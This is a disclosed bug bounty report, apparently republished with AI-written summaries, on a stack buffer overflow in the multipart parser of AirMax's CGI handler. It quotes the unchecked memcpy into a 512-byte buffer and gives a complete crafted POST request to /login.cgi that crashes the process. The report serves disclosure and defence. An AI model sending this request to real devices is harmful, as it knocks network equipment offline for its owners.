Yet another Buffer Overflow in PHP of the AirMax Products
A buffer overflow in the AirMax product's CGI handler occurs when a multipart form-data line exceeds 512 bytes, causing a stack overflow. An attacker could send a crafted POST request to crash the CGI process, resulting in a denial of service.
- Fixed in 4 months
- Paid in 4 months
- Disclosed after 9 months
It's me again!
After the Report #73491 and the #74004, I bring another Buffer Overflow, this one look more like #74004, which is a overflow in stack.
Has you can see bellow, is copied to the var line a content (POST data in this case) which can go beyond the content of the original variable.
int ub_process_content(struct upload_buffer* ub)
{
char line[512];
size_t length;
/** some code **/
if ((~ub->got) & GOT_BOUNDARY) {
eol = (char*)memmem(ptr, size, "\r\n", 2);
if (!eol) break;
length = eol - ptr + 2;
memcpy(line, ptr, length); //!!Problem!!//
line[length] = 0;
/** some code **/
}
All what we need its a line with more than 512 bytes, example of request:
POST /login.cgi HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 700
Content-Type: multipart/form-data; boundary=------------------------2ad2f036dd647428
--------------------------2ad2f036dd647428asdfasdfasdfasdfasdfasdfsdasdfasdfasdfasdfasdfasdfdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd2ad2f036dd647428asdfasdfasdfasdfasdfasdfsdasdfasdfasdfasdfasdfasdfdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
Content-Disposition: form-data; name="file"; filename="AAA"
Content-Type: application/octet-stream
AAAA
--------------------------2ad2f036dd647428--
When the var ptr point to the first line (of the POST content) it will have more the 512 bytes until "\r\n" and will overflow the var line. As always it will cause a segmentation fault (probably because of overwriting of the return pointer), and the cgi will die with the return of the code 11, identical to the report #74004.
Sorry if I'am Bothering you with to much reports, I will wait your reply (or one week) to send another ones.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code copies an attacker-controlled line into a fixed 512-byte stack buffer without checking the length, causing a stack buffer overflow.
Impact
An attacker could crash the CGI process, causing a denial of service.
What the attacker needed
Network access to the CGI endpoint
How it was found
- Send a POST request to /login.cgi with multipart/form-data content.
- Include a line in the POST body that is longer than 512 bytes before the CRLF.
- The server copies the long line into the fixed-size buffer, overflowing it.
- The CGI process crashes with a segmentation fault (exit code 11).
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A buffer overflow happens when a program copies more data into a fixed-size memory space than it can hold. Here, a 512-byte buffer receives a longer line from a web request, overwriting nearby memory and crashing the program. This lets an attacker take the service down by sending a specially crafted request.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.